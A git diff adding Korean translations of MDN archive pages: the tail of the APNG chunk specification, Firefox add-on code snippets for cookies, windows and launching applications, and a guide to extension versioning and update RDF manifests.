각 프레임은 각 재연에 대해 동일하므로 애플리케이션이 프레임을 캐시하는 것은 안전합니다.

+

청크 순서 번호

+

'fcTL'과 'fdAT' 청크는 4바이트 순서 번호를 가지고 있습니다. 두 청크 형식은 순서를 공유합니다. 이 번호의 목적은 APNG의 순서 오류를 감지(하고 선택에 따라 수정)하는 것입니다. PNG 명세는 부수적인 청크에 순서의 제약을 부여하지 않기 때문입니다.

+

첫 번째 'fcTL' 청크는 순서 번호 0을 꼭 포함하고 나머지 'fcTL'과 'fdAT' 청크의 순서 번호는 공백이나 중복없이 순서대로 되어야 합니다.

+

아래 표는 하나 이상의 프레임과 하나 이상의 'fdAT' 청크를 포함한 이미지에 대한 순서 번호 사용을 보여줍니다.

+

기본 이미지가 첫 번째 프레임인 경우:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
순서 번호청크
(없음)'acTL'
0'fcTL' (첫 번째 프레임)
(없음)'IDAT' (첫 번째 프레임 -- 기본 이미지로 사용)
1'fcTL' (두 번째 프레임)
2'fdAT' (두 번째 프레임을 위한 첫 번째 'fDAT')
3'fdAT' (두 번째 프레임을 위한 두 번째 'fDAT')
......
+

기본 이미지가 애니메이션의 일부분이 아닌 경우:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
순서 번호청크
(없음)'acTL'
(없음)'IDAT' (기본 이미지)
0'fcTL' (첫 번째 프레임)
1첫 번째 프레임을 위한 첫 번째 'fdAT'
2첫 번째 프레임을 위한 두 번째 'fDAT'
......
+

디코더는 순서가 잘못된 APNG 청크를 오류로 처리해야 합니다. APNG를 인식하는 PNG 편집기는 순서 번호를 이용하여 올바른 순서로 복구해야 합니다.

+

'acTL': 애니메이션 제어(Animation Control) 청크

+

'acTL' 청크는 PNG 명세에 정의된 부수적인 청크입니다. 이는 올바른 PNG 스트림에서 첫 번째 'IDAT' 청크 앞에 나와야 합니다.

+

'acTL' 청크는 다음과 같은 필드를 포함합니다.

+ + + + + + + + + + + + + + + + + + + + + +
바이트 오프셋필드 이름필드 형식설명
0num_framesunsigned intAPNG의 프레임 수.
4num_playsunsigned intAPNG 반복 횟수. 0은 무한 반복을 가리킴.
+

num_frames은 애니메이션의 전체 프레임 수를 가리킵니다. 이 값은 'fcTL' 청크의 개수와 같아야 합니다. 0은 올바른 값이 아닙니다. 1은 단일 프레임 APNG에 대해 올바른 값입니다. 이 값이 실제 프레임의 개수와 다른 경우, 이는 오류로 처리해야 합니다.

+

num_plays은 애니메이션을 재생하는 횟수를 가리킵니다. 이 값이 0이면 애니메이션을 계속 재생해야 합니다. 0이 아니면 애니메애션은 마지막 재생의 최종 프레임에서 멈춰야 합니다.

+

'fcTL': 프레임 제어(Frame Control) 청크

+

'fcTL' 청크는 PNG 명세에 정의된 부수적인 청크입니다. 이는 'IDAT' 청크의 앞에 나오거나 적용되는 프레임의 'fdAT' 청크 앞에 나와야 합니다. 구체적으로 이야기하면,

+ +

각 프레임에 대하여 정확하게 하나의 'fcTL' 청크가 필요합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
바이트 오프셋필드 이름필드 형식설명
0sequence_numberunsigned int0부터 시작하는 애니메이션 청크의 순서 번호.
4widthunsigned int따르는 프레임의 너비.
8heightunsigned int따르는 프레임의 높이.
12x_offsetunsigned int따르는 프레임을 그릴 X 위치.
16y_offsetunsigned int따르는 프레임을 그릴 Y 위치.
20delay_numunsigned short프레임 지연 분수 분자.
22delay_denunsigned short프레임 지연 분수 분모.
24dispose_opbyte현재 프레임을 렌더링한 후 실행할 프레임 영역 처리의 종류.
25blend_opbyte현재 프레임에 대한 프레임 영역 렌더링의 종류.
+

프레임은 x_offset, y_offset, width, height로 정의되는 영역에 그려야 합니다. 오프셋은 0 또는 0보다 크고 치수는 양수이며 영역은 기본 이미지를 벗어나면 안됩니다.

+

프레임 영역에 대한 제약은 다음과 같습니다.

+ +

delay_numdelay_den 매개 변수는 함께 현재 프레임을 표시할 시간(초)을 의미하는 분수를 지정합니다. 분모가 0이면 분모를 100인 것으로 간주합니다. (즉, delay_num은 1/100초 단위로 시간을 지정하게 됩니다). 만약 분자 값이 0이면 뷰어가 적당한 최소값을 지정할 수도 있겠지만 디코더는 다음 프레임을 가능한 빨리 그려야 합니다.

+

애니메이션을 디코더 구현의 성능과 상관없이 동일한 속도로 실행하려면 프레임 타이밍은 각 프레임의 디코딩과 표시에 필요한 시간과 무관해야 합니다.

+

dispose_op는 지연의 마지막에 (다음 프레임을 그리기 전에) 출력 버퍼를 어떻게 바꾸어야 하는지 지정합니다.

+

\dispose_op의 올바른 값은 다음과 같습니다.

+ + + + + + + + + + + + + + + + + + + + + + + +
상수설명
0APNG_DISPOSE_OP_NONE다음 프레임을 그리기 전에 현재 프레임을 처리하지 않습니다. 출력 버퍼의 내용은 그대로 남아 있습니다.
1APNG_DISPOSE_OP_BACKGROUND다음 프레임을 그리기 전에 프레임의 출력 버퍼 영역을 완전 투명 흑색으로 지웁니다.
2APNG_DISPOSE_OP_PREVIOUS다음 프레임을 그리기 전에 프레임의 출력 버퍼 영역을 이전 내용으로 되돌립니다.
+

만약 첫 번째 'fcTL' 청크가 dispose_op값으로 APNG_DISPOSE_OP_PREVIOUS를 사용하면 이는 APNG_DISPOSE_OP_BACKGROUND로 처리해야 합니다.

+

blend_op<code>는 프레임이 현재의 출력 버퍼 내용에 중첩되어야 하는지, 아니면 출력 버퍼의 영역을 완전히 바꿀 것인지 지정합니다.

+

<code>blend_op의 올바른 값은 다음과 같습니다.

+ + + + + + + + + + + + + + + + + + +
상수설명
0APNG_BLEND_OP_SOURCE투명도를 포함한 프레임의 모든 색상 요소가 프레임의 출력 버퍼 영역의 현재 내용을 덮어씁니다.
1APNG_BLEND_OP_OVER프레임이 투명도에 따라 Extensions to the PNG Specification, Version 1.2.0Alpha Channel Processing 섹션에서 설명한 간단한 OVER 연산을 이용하여 출력 버퍼에 중첩됩니다. 참고로 예제 코드의 두 번째 변종이 적용 가능합니다.
+

첫 번째 프레임에 대하여 두 가지 중첩 모드는 각 재생의 시작에 출력 버퍼를 지우기 때문에 기능적으로 동일합니다.

+

기본 이미지에 대응하는 'fcTL' 청크가 있을 때 이는 다음과 같은 제약이 있습니다.

+ +

앞서 언급했듯이 출력 버퍼는 각 재생의 시작에 완전 투명 흑색으로 완전히 초기화되어야 합니다. 이는 각 애니메이션 재생이 같도록 하기 위한 것입니다. 디코더는 결과가 같다고 보장되면 명시적인 지우기 단계를 피할 수 있습니다. 예를 들어, 기본 이미지가 애니메이션에 포함되어 있고 blend_op 값으로 APNG_BLEND_OP_SOURCE를 사용하는 경우에는 전체 출력 버퍼를 덮어쓰게 되므로 지우기가 필요하지 않습니다.

+

'fdAT': 프레임 데이터(Frame Data) 청크

+

'fdAT' 청크는 'IDAT' 청크와 같은 목적을 가지고 있습니다. 이는 순서 번호가 앞에 나오는 것을 제외하면 'IDAT' 청크와 같은 구조를 가지고 있습니다.

+

각 프레임에 대하여 적어도 하나의 'fdAT' 청크가 필요합니다. 그리고 압축된 데이터 스트림은 한 프레임 내의 모든 'fdAT' 청크의 데이터 필드의 내용을 연결한 것입니다. 압축을 해제하면 데이터 스트림은 PNG 이지미의 완전한 픽셀 데이터입니다. 이는 모든 'IDAT' 청크의 압축 해제된 데이터와 마찬가지로 각 주사선의 처음에 필터 바이트를 포함합니다. 이는 기본 이미지와 같은 비트 수, 색상 종류, 압축 방법, 필터 방법, 인터레이스 방법, 팔레트를 사용합니다.

+ + + + + + + + + + + + + + + + + + + + + +
바이트 오프셋필드 이름필드 형식설명
0sequence_numberunsigned int0부터 시작하는 애니메이션 청크의 순서 번호.
4frame_dataX bytes현재 프레임의 프레임 데이터.
+

각 프레임은 'fcTL' 청크에서 오는 너비와 높이를 제외하고 파일의 첫 번째 'IDAT' 이전의 중요한 혹은 부수적인 청크에 지정된 모든 속성을 물려받습니다.

+

PNG 'pHYs' 청크가 있으면 APNG 이미지와 그 이미지의 x_offsety_offset 값은 주 이미지와 같은 방식으로 비례를 조절해야 합니다. 개념적으로 그러한 비례 조절은 출력 버퍼를 캔버스에 대응하는 동안에 일어납니다.

+

본 명세서의 수정 사항

+

From 0.1

+ + + + +

From 0.2

+ + + + +

From 0.3

+ + + + + + + + + + +

From 0.4

+ + + + + +

From 0.5

+ + +

From 0.6

+ + + + +

From 0.7

+ + +

From 0.8

+ + +

From 0.9

+ +

From 0.10

+ +

테스트 인코더와 예제 이미지

+

http://littlesvr.ca/apng/ 에 있는 APNG 구현 페이지에서 예제 이미지를 구할 수 있습니다.

+

(오픈 소스) 인코더는 Gecko 엔진의 1.9 알파 4 버전에서부터 구할 수 있습니다.

+

모질라 인코더를 이용하는 (오픈 소스) 애플리케이션은 다음 페이에서 구할 수 있습니다: http://littlesvr.ca/apng/apngedit.html

+

참고

+ diff --git a/files/ko/archive/add-ons/code_snippets/cookies/index.html b/files/ko/archive/add-ons/code_snippets/cookies/index.html new file mode 100644 index 0000000000..c3c25b033b --- /dev/null +++ b/files/ko/archive/add-ons/code_snippets/cookies/index.html @@ -0,0 +1,15 @@ +--- +title: Cookies +slug: Archive/Add-ons/Code_snippets/Cookies +tags: + - Add-ons + - Extensions +translation_of: Archive/Add-ons/Code_snippets/Cookies +--- +

 

+

쿠키 모두 없애기

+

다음 코드는 Firefox/Seamonkey에서 쿠키를 모두 없애는 법을 보여줍니다.

+
Components.classes["@mozilla.org/cookiemanager;1"]
+          .getService(Components.interfaces.nsICookieManager).removeAll();
+
+

{{ languages( { "en": "en/Code_snippets/Cookies", "fr": "fr/Extraits_de_code/Cookies" } ) }}

diff --git a/files/ko/archive/add-ons/code_snippets/index.html b/files/ko/archive/add-ons/code_snippets/index.html new file mode 100644 index 0000000000..09b381ed68 --- /dev/null +++ b/files/ko/archive/add-ons/code_snippets/index.html @@ -0,0 +1,55 @@ +--- +title: Code snippets +slug: Archive/Add-ons/Code_snippets +tags: + - Add-ons + - Extensions +translation_of: Archive/Add-ons/Code_snippets +--- +

+

이 문서는 확장기능 개발자들이 다양한 Mozilla 응용프로그램에 빠르게 쓸 수 있는 쓸모 있는 코드 조각(snippet) 목록입니다. 상당수는 XULRunner 응용프로그램 및 Firefox/Thunderbird 코드에서도 쓸 수 있습니다. +

+

일반

+
탭브라우저 코드 (Firefox/SeaMonkey) +
Mozilla 브라우저 응용프로그램의 핵심인 탭브라우저를 다루는 기본적인 코드 +
+
창 코드 +
창 열기 및 다루기 +
+
쿠키 +
쿠키 읽기, 쓰기, 고치기, 없애기 +
+
XML +
XML을 구문분석하거나, 작성하거나, 다루는 데 쓰는 코드 +
+
파일 입출력 +
파일을 읽거나, 쓰거나, 처리하는 데 쓰는 코드 +
+
대화상자 +
대화상자를 나타내거나, 처리하는 데 쓰는 코드 +
+
선택사항 +
선택사항을 읽거나, 쓰거나, 고치는 데 쓰는 코드 +
+
페이지 불러오기 +
페이지를 로드하거나, 재로드하거나, 페이지 로드를 청취하는 데 쓰는 코드 +
+
특권 코드와 비특권 코드 사이의 상호 작용 +
부가기능이 웹사이트와 또는 그 반대로 통신하는 법 +
+
JS XPCOM +
JavaScript로 맞춤 XPCOM 컴포넌트를 정의하고 호출하는 데 쓰는 코드 +
+
응용프로그램 실행하기 +
다른 응용프로그램을 실행하는 데 쓰는 코드 +
+

윈도 고유 코드

+
윈도 핸들(HWND) 구하기 (Firefox) +
Windows API로 가지각색의 Mozilla 윈도 핸들을 구하는 법입니다. 윈도 핸들은 IPC 및 접근성 목적으로 쓰일 수 있습니다. +
+
XPCOM으로 윈도 레지스트리 쓰기 +
레지스트리 키 및 값을 읽거나, 쓰거나, 고치거나, 없애거나, 열거하거나, 주목하는 법 +
+

외부 링크

+

MozillaZine 예제 코드의 내용이 여기로 천천히 옮겨지고 있습니다. 하지만 지금은 쓸만한 예제를 그곳에서 찾을 수 있습니다. +

{{ languages( { "en": "en/Code_snippets", "fr": "fr/Extraits_de_code", "ja": "ja/Code_snippets" } ) }} diff --git a/files/ko/archive/add-ons/code_snippets/page_loading/index.html b/files/ko/archive/add-ons/code_snippets/page_loading/index.html new file mode 100644 index 0000000000..ddf4043032 --- /dev/null +++ b/files/ko/archive/add-ons/code_snippets/page_loading/index.html @@ -0,0 +1,26 @@ +--- +title: Page Loading +slug: Archive/Add-ons/Code_snippets/Page_Loading +translation_of: Archive/Add-ons/Code_snippets/Page_Loading +--- +

 

+

페이지 불러오기

+
+
+ 페이지가 로드될 때
+
+ 새 페이지가 브라우저/메일에 로드될 때마다 코드를 실행하는 법
+
+
+
+ 진행 청취자
+
+ 진행 청취자는 확장기능이 브라우저 안의 문서 로드와 관련된 이벤트 및 탭 갈아타기 이벤트를 통보받을 수 있게 합니다.
+
+
+
+ 창에 데이터를 넘기기
+
+ 현존하거나 새로 만든 창/탭에 데이터를 넘기는 코드
+
+

{{ languages( { "en": "en/Code_snippets/Page_Loading", "fr": "fr/Extraits_de_code/Chargement_de_page", "ja": "ja/Code_snippets/Page_Loading" } ) }}

diff --git a/files/ko/archive/add-ons/code_snippets/running_applications/index.html b/files/ko/archive/add-ons/code_snippets/running_applications/index.html new file mode 100644 index 0000000000..a05c52db62 --- /dev/null +++ b/files/ko/archive/add-ons/code_snippets/running_applications/index.html @@ -0,0 +1,51 @@ +--- +title: Running applications +slug: Archive/Add-ons/Code_snippets/Running_applications +tags: + - Add-ons + - Extensions +translation_of: Archive/Add-ons/Code_snippets/Running_applications +--- +

+

본 페이지에서는 Mozilla XPCOM 인터페이스를 이용해서 chrome JavaScript 코드로 다른 프로그램을 실행하는 방법에 대해 설명하겠습니다. 프로그램을 실행하는데는 두 가지 방법이 있습니다. 첫번째 방법은 nsILocalFile:launch 메소드를 사용하는 것이고, 두번째 방법은 nsIProcess 인터페이스를 사용하는 것입니다. +

+

nsILocalFile.launch() 이용하기

+

이 방법은 실행 파일을 더블 클릭하는 것과 동일한 효과가 나타나며 파라미터 없이 실행됩니다. 또 구현되지 않은 플랫폼도 있으므로 여러분이 대상으로 하는 플랫폼에서 이 메소드가 구현되어 있는지 확인해야 합니다. +

nsIFile/nsILocalFile에 대한 보다 자세한 정보는 File I/O를 참조하세요. +

For more information on nsIFile/nsILocalFile, see File I/O. +

+
var file = Components.classes["@mozilla.org/file/local;1"]
+                     .createInstance(Components.interfaces.nsILocalFile);
+file.initWithPath("c:\\myapp.exe");
+file.launch();
+
+

nsIProcess 이용하기

+

nsIProcess 인터페이를 사용하는 것이 권장되는 방법 입니다. +

+
// create an nsILocalFile for the executable
+var file = Components.classes["@mozilla.org/file/local;1"]
+                     .createInstance(Components.interfaces.nsILocalFile);
+file.initWithPath("c:\\myapp.exe");
+
+// create an nsIProcess
+var process = Components.classes["@mozilla.org/process/util;1"]
+                        .createInstance(Components.interfaces.nsIProcess);
+process.init(file);
+
+// Run the process.
+// If first param is true, calling thread will be blocked until
+// called process terminates.
+// Second and third params are used to pass command-line arguments
+// to the process.
+var args = ["argument1", "argument2"];
+process.run(false, args, args.length);
+
+

참고

+ +
+
+{{ languages( { "en": "en/Code_snippets/Running_applications", "fr": "fr/Extraits_de_code/Ex\u00e9cuter_des_applications", "ja": "ja/Code_snippets/Running_applications", "pl": "pl/Fragmenty_kodu/Uruchamianie_aplikacji" } ) }} diff --git a/files/ko/archive/add-ons/code_snippets/windows/index.html b/files/ko/archive/add-ons/code_snippets/windows/index.html new file mode 100644 index 0000000000..00e4febdb1 --- /dev/null +++ b/files/ko/archive/add-ons/code_snippets/windows/index.html @@ -0,0 +1,25 @@ +--- +title: Windows +slug: Archive/Add-ons/Code_snippets/Windows +tags: + - Add-ons + - Extensions +translation_of: Archive/Add-ons/Code_snippets/Windows +--- +

 

+

새 브라우저 창 열기

+

브라우저 창을 새로 열려면 간단히 window.open()을 쓸 수 있습니다. 그러나 window.open()은 브라우저 창 자체가 아닌 내용의 Window 객체를 반환합니다. 그래서 먼저 크롬 Window를 구해야 합니다. 가장 간단한 방법은 nsIWindowMediator를 쓰는 것입니다.

+

예제

+

 

+
window.open();
+var wm = Components.classes["@mozilla.org/appshell/window-mediator;1"]
+                   .getService(Components.interfaces.nsIWindowMediator);
+var newWindow = wm.getMostRecentWindow("navigator:browser");
+var b = newWindow.getBrowser();
+// why did we do this? we never do anything with |b|
+
+

다른 문서

+ +

{{ languages( { "en": "en/Code_snippets/Windows", "fr": "fr/Extraits_de_code/Onglets_de_navigation" } ) }}

diff --git a/files/ko/archive/add-ons/code_snippets/xml/index.html b/files/ko/archive/add-ons/code_snippets/xml/index.html new file mode 100644 index 0000000000..46749c928e --- /dev/null +++ b/files/ko/archive/add-ons/code_snippets/xml/index.html @@ -0,0 +1,22 @@ +--- +title: XML +slug: Archive/Add-ons/Code_snippets/XML +tags: + - Add-ons + - Extensions +translation_of: Archive/Add-ons/Code_snippets/XML +--- + + +

{{ languages( { "en": "en/Code_snippets/XML", "fr": "fr/Extraits_de_code/XML" } ) }}

diff --git a/files/ko/archive/add-ons/extension_versioning,_update_and_compatibility/index.html b/files/ko/archive/add-ons/extension_versioning,_update_and_compatibility/index.html new file mode 100644 index 0000000000..f5f9d69790 --- /dev/null +++ b/files/ko/archive/add-ons/extension_versioning,_update_and_compatibility/index.html @@ -0,0 +1,193 @@ +--- +title: 'Extension Versioning, Update and Compatibility' +slug: 'Archive/Add-ons/Extension_Versioning,_Update_and_Compatibility' +tags: + - Add-ons + - Extensions +translation_of: 'Archive/Add-ons/Extension_Versioning,_Update_and_Compatibility' +--- +

 

+

부가 기능 버저닝(Versioning)

+

부가 기능은 Toolkit version format을 이용해 자신의 버전을 명시해야 합니다. 이는 다음과 같이 점으로 분리된 버전 문자열이라고 말씀드릴 수 있습니다.

+ +
+ 참고: Firefox 1.5 이전에는 좀 더 기본적인 Firefox Version Format을 사용했었습니다. 이 포맷은 major.minor.release.build[+] 의 형태로 구성되며 숫자만 사용할 수 있었습니다. Toolkit version format은 Firefox version format을 지원하면서도 더 많은 유연성을 제공합니다.
+

응용 프로그램의 호환성 검사 방법

+

부가기능을 설치하기 전에 응용 프로그램은 부가기능의 <tt>install.rdf</tt>에 있는 targetApplication 항목을 조사합니다. 해당 항목에는 대상 응용프로그램과 동일한 ID가 존재해야 합니다. 또한 이 항목의 minVersionmaxVersion은 부가기능이 실행되는 응용프로그램의 버전이 포함되는 범위이어야 합니다.

+

만일 응용프로그램이 targetApplication 요소를 가지고 있지만 호환되지 않는 버전일 경우 부가 기능의 updateURL에서 업데이트된 호환 정보를 조회해 제공합니다.

+

만일 <tt>install.rdf</tt>에 targetPlatform 항목들이 포함되어 있으며, 현재 응용프로그램이 실행되는 플랫폼이 해당 목록에 포함되어 있지 않을 경우 설치가 거부됩니다.

+

+

Firefox 3 note

+

Gecko 1.9 기반의 응용프로그램일 경우 targetApplication 항목에 응용프로그램이 실행되는 툴킷 버전에 해당하는 toolkit@mozilla.org, minVersion, maxVersion 값을 사용할 수 있습니다. 이는 여러분의 부가 기능이 해당 툴킷 기반의 어떤 응용프로그램에서도 설치 가능하다는 것을 나타냅니다.

+

+

호환성 검사 무시하기

+

테스트를 목적으로 할 경우 응용프로그램에 부가기능을 설치할 때 호환성 검사를 무시하도록 할 수 있습니다. 연산자(boolean) 형으로 extensions.checkCompatibility 설정을 만들고 false로 지정하면 됩니다.

+
+ 참고: Firefox 1.5 이전 버전에서는 app.extensions.version 설정을 통해 응용프로그램의 버전을 오버라이드할 수도 있습니다. 이는 응용프로그램 자신이 호환되지 않는 확장 기능을 설치할 수 있다고 믿게끔 해 줍니다.
+

minVersion과 maxVersion 결정하기

+

minVersionmaxVersion은 여러분이 테스트한 응용프로그램의 버전 범위로 명시하는게 좋습니다. 특히 향후 API와 UI가 어떻게 변경될지 모르기 때문에 maxVersion을 현재 가능한 응용프로그램의 버전보다 높게 설정하지 않아야 합니다. 호환성 업데이트를 이용하면 확장기능의 새로운 버전을 공개할 필요 없이 maxVersion만 증가시키면 됩니다.

+

maxVersion에서는 여러분이 지원하는 응용프로그램의 하위(minor) 버전 위치에 *를 사용할 수 있습니다. 예를 들어 2.0.0.*은 2 버전 응용프로그램에서의 하위 업데이트를 지원하는다는 것을 의미합니다. 응용 프로그램은 보통 확장 기능 작성자에게 버전의 어떤 부분을 이렇게 사용할 수 있는지 제안할 것입니다.

+

실수로 *를 어떤 버전도 지원한다는 의미로 생각하지 마세요. 사실 *는 무한의 높은 숫자를 나타내며, 따라서 maxVersion에서 사용하였을때만 의미가 있습니다. 이를 minVersion에서 사용하면 여러분이 원하는 효과가 나지 않을 수 있습니다.

+

자동 부가기능 업데이트 검사

+

응용프로그램은 주기적으로 설치된 부가기능의 updateURL에서 정보를 가져와 업데이트 여부를 검사합니다. 반환된 정보는 사용자에게 부가기능의 업데이트된 버전이 있는지를 알려주고 응용프로그램에게는 해당 부가기능과 호환되는 응용프로그램의 버전을 알려줍니다.

+

호환성 업데이트

+

자동 업데이트 검사를 통해 응용프로그램은 현재 설치된 부가 기능 버전에 대한 새로운 버전과 갱신된 호환성 정보를 조사합니다. 만일 작성된 업데이트 선언에 현재 설치된 부가 기능에 대한 항목이 존재하고 해당 항목의 targetApplication에 더 큰 maxVersion이 명시되어 있을 경우, 응용 프로그램은 부가 기능의 <tt>install.rdf</tt>에 명시된 값 대신 이 값을 사용하게 됩니다. 이는 호환성 문제로 사용 안함 상태로 되어 있는 부가 기능을 사용 가능한 상태로 만들 수도 있으며, 정상적으로 설치되지 않은 부가 기능을 정상적으로 설치된 상태로 만들 수도 있습니다.

+

업데이트 RDF 포맷

+

여러분이 부가기능의 updateURL을 직접 호스팅하는 경우, 부가기능의 버전 정보를 RDF 포맷으로 반환해야만 합니다. 아래는 업데이트 선언(update manifest) 예제입니다. 여기서는 id가 foobar@developer.mozilla.org인 서로 다른 2가지 버전의 확장기능에 대한 정보를 나열하고 있습니다. 포함된 버전은 2.2와 2.5 이고 둘 다 Firefox 1.5에서 2.0.0.* 버전에서 호환된다고 명시하고 있습니다. 버전 2.2의 경우 https 업데이트 링크를 사용하고 있으며, 버전 2.5는 일반적인 http 링크를 사용하며 전송된 파일의 유효성을 검사하기 위해 해시를 포함하고 있습니다.

+

맨 처음에 있는 RDF:Description의 about 속성을 올바르게 설정하는 것이 중요합니다. 이 속성은 제공 정보가 어떤 종류의 부가기능에 대한 것인지에 따라 다음과 같이 달라집니다.

+ +

아래 예제의 경우 이후 버전이 이전 버전보다 나중에 명시되어야 한다는 점에서 <RDF:Seq> 요소 내에 있는 버전의 순서가 중요합니다. 만일 최종 버전이 제공된다면 이전 버전 모두가 명시될 필요는 없습니다(?).

+
<?xml version="1.0" encoding="UTF-8"?>
+
+<RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+         xmlns:em="http://www.mozilla.org/2004/em-rdf#">
+
+  <!-- Description 리소스에는 id가 foobar@developer.mozilla.org인
+       단일 부가 기능에 대한 모든 업데이트와 호환성 정보를 포함합니다.
+       여러분은 하나의 RDF 파일에 여러개의 부가기능에 대한 정보를 나열할 수 있습니다. -->
+  <RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org">
+    <em:updates>
+      <RDF:Seq>
+
+        <!-- 각각의 li는 동일한 부가기능에 대한 서로 다른 버전을 나타냅니다. -->
+        <RDF:li>
+          <RDF:Description>
+            <em:version>2.2</em:version> <!-- 이것은 부가기능의 버전 번호입니다. -->
+
+            <!-- 이 부가 기능과 호환되는 각각의 응용 프로그램에 대해 targetApplication이 하나씩 존재합니다. -->
+            <em:targetApplication>
+              <RDF:Description>
+                <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
+                <em:minVersion>1.5</em:minVersion>
+                <em:maxVersion>2.0.0.*</em:maxVersion>
+
+                <!-- 이 부가 기능을 다운로드 받을 위치를 나타냅니다. -->
+                <em:updateLink>https://www.mysite.com/foobar2.2.xpi</em:updateLink>
+
+                <!-- 업데이트된 버전에서 제공되는 새로운 기능을 설명하는 페이지에 대한 URL입니다. -->
+                <em:updateInfoURL>http://www.mysite.com/updateinfo2.2.xhtml</em:updateInfoURL>
+              </RDF:Description>
+            </em:targetApplication>
+          </RDF:Description>
+        </RDF:li>
+
+        <RDF:li>
+          <RDF:Description>
+            <em:version>2.5</em:version>
+            <em:targetApplication>
+              <RDF:Description>
+                <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
+                <em:minVersion>1.5</em:minVersion>
+                <em:maxVersion>2.0.0.*</em:maxVersion>
+                <em:updateLink>http://www.mysite.com/foobar2.5.xpi</em:updateLink>
+                <em:updateHash>sha1:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e6</em:updateHash>
+              </RDF:Description>
+            </em:targetApplication>
+          </RDF:Description>
+        </RDF:li>
+
+      </RDF:Seq>
+    </em:updates>
+
+    <!-- 서명은 부가기능의 install.rdf에 updateKey를 포함하고 있는 경우에만 필요합니다. -->
+    <em:signature>MIGTMA0GCSqGSIb3DQEBBQUAA4GBAMO1O2gwSCCth1GwYMgscfaNakpN40PJfOWt
+                  ub2HVdg8+OXMciF8d/9eVWm8eH/IxuxyZlmRZTs3O5tv9eWAY5uBCtqDf1WgTsGk
+                  jrgZow1fITkZI7w0//C8eKdMLAtGueGfNs2IlTd5P/0KH/hf1rPc1wUqEqKCd4+L
+                  BcVq13ad</em:signature>
+  </RDF:Description>
+</RDF:RDF>
+
+

어떤 사람들은 다음의 포맷을 더 좋아합니다(본 예제에서는 기본 구조를 중점적으로 보여주기 위해 몇 가지 정보가 생략되어 있습니다).

+
<?xml version="1.0" encoding="UTF-8"?>
+
+<RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+         xmlns:em="http://www.mozilla.org/2004/em-rdf#">
+
+  <!-- Description 리소스에는 id가 foobar@developer.mozilla.org인
+       단일 부가 기능에 대한 모든 업데이트와 호환성 정보를 포함합니다.
+       여러분은 하나의 RDF 파일에 여러개의 부가기능에 대한 정보를 나열할 수 있습니다. -->
+  <RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org">
+    <em:updates>
+      <RDF:Seq>
+        <!-- resource 속성은 아래에 있는 RDF:Description의 동일한 about 속성을 가리킵니다.
+             실제 uri는 어떤 값이든 상관 없습니다. -->
+        <RDF:li resource="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"/>
+        <RDF:li resource="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"/>
+      </RDF:Seq>
+    </em:updates>
+    <em:signature>MIGTMA0GCSqGSIb3DQEBBQUAA4GBAMO1O2gwSCCth1GwYMgscfaNakpN40PJfOWt
+                  ub2HVdg8+OXMciF8d/9eVWm8eH/IxuxyZlmRZTs3O5tv9eWAY5uBCtqDf1WgTsGk
+                  jrgZow1fITkZI7w0//C8eKdMLAtGueGfNs2IlTd5P/0KH/hf1rPc1wUqEqKCd4+L
+                  BcVq13ad</em:signature>
+  </RDF:Description>
+
+  <!-- 다음은 앞선 예제에서 li 요소 내에 있는 Description과 동일합니다. -->
+  <RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.2">
+    <em:version>2.2</em:version>
+
+    <!-- 나머지 내용은 생략하였습니다. -->
+
+  </RDF:Description>
+
+  <RDF:Description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.5">
+    <em:version>2.5</em:version>
+
+    <!-- 나머지 내용은 생략하였습니다. -->
+
+  </RDF:Description>
+
+</RDF:RDF>
+
+

갱신 사항에 대한 세부 정보 제공하기

+

+

부가 기능 사용자에게 갱신된 사항에 대한 세부 정보를 제공할 수 있습니다. 이는 사용자가 부가 기능의 업데이트 알림을 받은 경우에만 보여지는 것으로, 어떤 기능이 새롭게 추가되었고 보안과 관련된 어떤 문제들이 해결되었는지 등에 대한 빠른 개요를 제공해주는데 사용될 수 있습니다.

+

이를 위해 먼저 업데이트 선언 파일에 updateInfoURL 항목을 추가해야 합니다(위 예제를 보세요). 이 URL에 해당하는 페이지가 사용자에게 출력됩니다. 이 페이지는 일반적인 웹 페이지 외부에 출력되므로 깨끗하게 만들어져야 합니다. 이는 몇 가지 사항만이 가능하고 스크립트나 이미지들은 사용할 수 없다는 것을 의미합니다. 일반 규칙으로 다음의 태그들만 사용하는게 좋으며, 다른 태그들은 무시됩니다.

+ +

목록 내에서는 개별 항목을 나타내는 li 태그를 사용합니다.

+

h1, h2, h3, p, li 태그 내에서는 다음을 사용할 수 있습니다.

+ +

해당 페이지는 완전히 유효한 XHTML이어야 하면 MIME type이 application/xhtml+xml어야 합니다.

+

업데이트 선언 파일의 updateInfoURL에는 URL에 로케일 정보를 포함하고자 할 경우 %APP_LOCALE%을 포함할 수 있습니다. 이를 이용하면 사용자의 로케일에 따라 내용을 수정할 수 있습니다. 이 외에도 updateURL에서 지원하는 또 다른 치환 문자열을 사용할 수 있습니다만, 별로 필요하지는 않을 것입니다.

+

보안 업데이트

+

+

Gecko 1.9는 부가 기능 업데이트와 같은 경우에 사용자를 man-in-the-middle attacks에서 보호하기 위해 설계된 부가적인 요구 사항을 추가했습니다. 이미 설치된 부가 기능의 install.rdf에서 updateURL을 다음 방법 중 한 가지로 지정해야 합니다.

+ +

<tt>install.rdf</tt>에서 updateKey를 지정할 때는 업데이트 선언에 digital signature를 포함해야 하며 그렇지 않으면 정보가 거부됩니다.

+

updateURL에서 전달된 업데이트 선언에서는 updateLink를 다음 방법 중 한 가지로 지정해야 합니다.

+ +

업데이트 선언에서 위의 두 가지 요구 사항 중 하나를 만족하지 못하는 모든 항목은 새로운 버전을 확인할 때 무시됩니다.

+

